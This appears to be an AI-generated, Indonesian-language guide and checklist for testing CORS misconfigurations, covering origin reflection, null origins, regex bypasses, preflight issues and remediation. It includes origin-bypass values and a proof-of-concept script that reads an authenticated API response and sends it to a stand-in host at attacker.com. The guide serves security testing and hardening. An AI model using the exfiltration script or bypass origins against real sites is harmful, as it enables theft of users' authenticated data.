Generated by: Deepseek
CORS (Cross-Origin Resource Sharing) adalah mekanisme yang memungkinkan server web secara eksplisit mengizinkan permintaan lintas-asal dari domain tertentu. Kerentanan CORS muncul ketika server salah dikonfigurasi sehingga memercayai asal yang tidak diverifikasi atau dikendalikan penyerang, akibatnya Same-Origin Policy (SOP) dilanggar dan situs jahat dapat membaca data sensitif atau melakukan perubahan state atas nama korban.
Dampak umum:
Permintaan lintas-asal (misal dari attacker.com ke api.target.com) menyebabkan browser mengirimkan header Origin. Server merespons dengan:
Access-Control-Allow-Origin: <origin> – menentukan asal mana yang diizinkan.Access-Control-Allow-Credentials: true – mengizinkan cookie/header otorisasi disertakan.Access-Control-Allow-Methods / Access-Control-Allow-Headers – digunakan saat preflight.Jika Access-Control-Allow-Origin yang dikembalikan sama dengan (atau mencerminkan) asal peminta dan browser mengizinkannya, respons tersebut dibagikan lintas-asal.
Pola rentan: Server secara membabi buta menyalin nilai Origin, misalnya Access-Control-Allow-Origin: https://attacker.com.
| Karakteristik | Deskripsi |
|---|---|
| Refleksi Origin | Nilai Access-Control-Allow-Origin disalin secara dinamis dari header Origin tanpa validasi. |
| Penerimaan null origin | Origin: null diizinkan (dapat dipalsukan oleh iframe ter-sandbox atau file lokal). |
| Wildcard dengan kredensial | Access-Control-Allow-Origin: * bersama Access-Control-Allow-Credentials: true – tidak sah menurut spesifikasi tetapi beberapa server salah mengimplementasikannya. |
| Regex subdomain yang lemah | Memercayai *.target.com tetapi menggunakan pencocokan pola lemah (misal target.com$ → attackertarget.com). |
| Penurunan protokol | Menerima http:// padahal aplikasi menggunakan HTTPS. |
| Salah konfigurasi preflight | Mengizinkan metode berbahaya (PUT, DELETE) atau header (X-Custom-Auth) tanpa validasi ketat. |
/api/user).Origin dalam permintaan ulang (menggunakan Burp Repeater, Postman, atau cURL):
curl -X GET https://api.target.com/user \
-H "Origin: https://attacker.com" \
-H "Cookie: session=xyz" \
-v
Access-Control-Allow-Origin: https://attacker.com → terjadi refleksi.Access-Control-Allow-Credentials: true → kredensial diizinkan.null, https://evil.com, http://target.com.evil.com).Origin apa pun?Origin: null?Access-Control-Allow-Credentials dikembalikan bersama origin yang direfleksikan atau wildcard?Gunakan kotak centang berikut selama pengujian. Setiap item menyertakan detail teknis dan upaya bypass.
Refleksi origin sembarang?
Kirim Origin: https://evil.com. Jika Access-Control-Allow-Origin: https://evil.com kembali, situs mana pun dapat membaca respons.
Null origin diterima?
Kirim Origin: null. Jika Access-Control-Allow-Origin: null kembali, eksploitasi melalui iframe ter-sandbox:
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,<script>...</script>"></iframe>
Pencocokan subdomain (bypass regex)?
Jika server memercayai *.target.com, coba:
Origin: https://target.com.attacker.com
Origin: https://attackertarget.com (jika regex-nya target\.com$)
Penurunan protokol (https→http)?
Kirim Origin: http://evil.com ke endpoint HTTPS. Jika diizinkan, serangan MITM dapat mengeksploitasi.
Injeksi path/port?
Origin: https://target.com@evil.com
Origin: https://target.com:8080 (jika port diabaikan dalam validasi)
Allow-Credentials: true?
Cari Access-Control-Allow-Credentials: true dalam respons. Ini mengizinkan cookie dikirim lintas-asal.
Dikombinasikan dengan origin refleksi?
Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true → kerentanan kritis (pencurian data terotentikasi).
Cookie dikirim lintas-asal?
Verifikasi dengan halaman uji yang mengatur withCredentials = true pada XHR/fetch. Periksa apakah browser benar-benar menyertakan cookie dan menerima respons.
Metode kustom diizinkan?
Kirim permintaan OPTIONS dengan Access-Control-Request-Method: PATCH. Jika respons menyertakan PATCH dalam ACA-Methods, penyerang dapat menggunakannya.
Header kustom diizinkan?
Access-Control-Request-Headers: X-Custom – jika diterima, penyerang dapat menyuntikkan header yang mungkin melewati pemeriksaan sisi server.
Max-Age terlalu panjang?
Access-Control-Max-Age > 86400 (24 jam) memungkinkan preflight di-cache sekali saja, mengurangi kesempatan perangkat keamanan mendeteksi permintaan jahat berikutnya.
Bypass preflight mungkin?
Beberapa endpoint merefleksikan Access-Control-Allow-Origin hanya pada preflight tetapi tidak pada permintaan aktual – uji keduanya. Juga periksa apakah permintaan sederhana (GET/HEAD tanpa header kustom) melewatkan preflight sama sekali.
Access-Control-Allow-Origin: *
Periksa apakah ada endpoint yang merespons dengan Access-Control-Allow-Origin: *. Ini sendiri aman, tetapi berbahaya jika dikombinasikan dengan Access-Control-Allow-Credentials: true (tidak sah menurut spesifikasi, tetapi beberapa server tetap mengirimkannya).
Wildcard dengan endpoint sensitif?
Bahkan tanpa kredensial, API publik yang mengembalikan PII dengan wildcard dapat dieksploitasi oleh situs mana pun.
API internal dengan wildcard?
Endpoint internal (misal https://internal.corp/api) yang terekspos ke internet dengan Access-Control-Allow-Origin: * memungkinkan halaman eksternal membacanya jika korban berada di jaringan korporat (serangan DNS rebinding atau jaringan lokal).
*.target.com dipercaya?
Jika Access-Control-Allow-Origin: *.target.com diatur, maka subdomain mana pun (termasuk yang rentan XSS) dapat membaca respons.
Ada subdomain yang rentan XSS?
Lakukan enumerasi subdomain (contoh: dev.target.com, admin.target.com). Jika salah satu memiliki XSS, XSS tersebut dapat mengirim permintaan terotentikasi ke API mana pun yang memercayai *.target.com.
Pengambilalihan subdomain mungkin?
Jika subdomain (contoh: old.target.com) tidak digunakan tetapi CNAME-nya menunjuk ke layanan eksternal (GitHub Pages, AWS S3) yang dapat diklaim, penyerang dapat menghosting kode di sana dan mengeksploitasi kepercayaan tersebut.
Data apa yang dapat diakses?
Identifikasi semua endpoint dengan kesalahan konfigurasi CORS – periksa /user/profile, /account/balance, /api/private, dll.
Dapatkah state diubah?
Uji metode tidak aman (POST, PUT, DELETE) dengan kebijakan CORS yang salah konfigurasi. Jika diizinkan, penyerang dapat melakukan tindakan seperti CSRF tanpa preflight atau dengan permintaan sederhana.
Pencurian token/kredensial?
Periksa apakah respons menyertakan token CSRF, kunci API, pengidentifikasi sesi, atau informasi pribadi.
Dikombinasikan dengan kerentanan lain?
Access-Control-Allow-Origin: * dengan CDN) → dampak luas.Whitelist origin yang dipercaya?
Verifikasi bahwa server mengembalikan Access-Control-Allow-Origin hanya untuk daftar origin yang diizinkan (contoh: https://target.com, https://app.target.com), tidak merefleksikan input sembarang.
Header Vary: Origin ada?
Header respons Vary: Origin memastikan respons yang di-cache dipisahkan berdasarkan asal, mencegah cache poisoning.
Kredensial hanya dengan origin spesifik?
Access-Control-Allow-Credentials: true tidak boleh pernah dikembalikan bersama Access-Control-Allow-Origin: * atau origin refleksi yang tidak masuk whitelist ketat.
Tidak ada wildcard untuk endpoint terotentikasi?
Endpoint mana pun yang memerlukan autentikasi harus mengembalikan origin spesifik, bukan *.
Validasi preflight ketat?
ACA-Methods dan ACA-Headers harus mencantumkan hanya yang benar-benar diperlukan, bukan *.
Permintaan lintas-asal dianggap sederhana (tanpa preflight) jika:
GET, HEAD, atau POST.Accept, Accept-Language, Content-Language, Content-Type dengan nilai application/x-www-form-urlencoded, multipart/form-data, atau text/plain).Oleh karena itu, meskipun preflight ketat, endpoint rentan dengan refleksi Access-Control-Allow-Origin tetap dapat dieksploitasi melalui form POST sederhana.
nullOrigin null dapat dihasilkan oleh:
sandbox="allow-scripts").file://).null ke whitelist untuk kemudahan, sehingga iframe ter-sandbox dapat mengeksfiltrasi data.<script>
fetch('https://vulnerable.target.com/api/user', {
credentials: 'include'
}).then(r => r.text()).then(data => fetch('https://attacker.com/steal?data='+btoa(data)))
</script>
Buka konsol browser korban (jika Anda bisa) dan jalankan:
fetch('https://api.target.com/endpoint', {credentials: 'include'})
.then(r => console.log(r.headers.get('access-control-allow-origin')));
Jika menampilkan * atau null atau asal Anda sendiri, kebijakan tersebut bersifat refleksif.